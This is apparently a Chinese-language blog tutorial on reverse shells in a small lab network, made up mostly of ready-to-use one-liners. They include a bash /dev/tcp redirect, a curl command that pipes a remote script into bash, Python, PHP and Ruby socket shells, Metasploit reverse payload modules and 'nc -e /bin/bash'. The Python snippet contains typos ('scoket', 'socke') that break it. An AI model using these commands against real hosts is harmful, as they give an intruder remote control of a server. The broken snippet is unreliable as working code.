什么是反彈shell?
簡單理解,通常是我們主動發起請求,去訪問服務器(某個IP的某個端口),比如我們常訪問的web服務器:
http(https)://ip:80
,這是因為在服務器上面開啟了80端口的監聽,我們去訪問它的時候,就會給我們建立連接。而現在所謂的反彈shell
指的是反過來在我們自己的公網vps建立監聽,然后讓服務器反彈一個shell來連接我們自己的主機,然后我們就能通過反彈的shell去遠程控制服務器了。
實驗環境
kali 192.168.1.16 kali 192.168.1.13
方法1:使用linux命令反彈shell
反彈shell命令格式如下:
bash -i >& /dev/tcp/ip/port 0>&1
先在要反彈回來shell的16上面 監聽隨便一個未開放的端口 且防火牆允許訪問的
然后再被攻擊機 13 上面執行命令
看見成功反彈shell
第二種思路 curl命令反彈shell 公網vps 放shell腳本
kali 192.168.1.16 kali 192.168.1.13
windows 192.168.1.12
第一步 公網vps上面放bash腳本
第二步 被攻擊機 執行命令
curl 192.168.1.12/bash |bash
然后shell就反彈回來了
關於 反彈shell命令解析 看卿先生博客園(很細)
https://www.cnblogs.com/-qing-/p/11247720.html
python反彈shell
import socket,subprocess,os s=scoket.socket(socket.AF_INET,socke.SOCK_STREAM) //socket.AF_INET:。另一個地址家族AF_INET6用於第6版因特網協議(IPv6)尋址 SOCK_STREAM建立tcp鏈接 s.connect(("192.168.1.12",7111))#你要回shell的機子 os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])
反彈shell
PHP反彈shell
<?php $sock=fsockopen("192.168.43.151",7777);//自己的外網ip,端口任意 exec("/bin/sh -i <&3 >&3 2>&3"); ?>
ruby反彈shell
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.43.151","7777");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
下面是直接用的msf反彈
java反彈
直接貼msf了
use payload/java/shell/reverse_tcp
lua反彈
use payload/cmd/unix/reverse_lua
NC反彈
nc -e /bin/bash 192.168.1.16 7111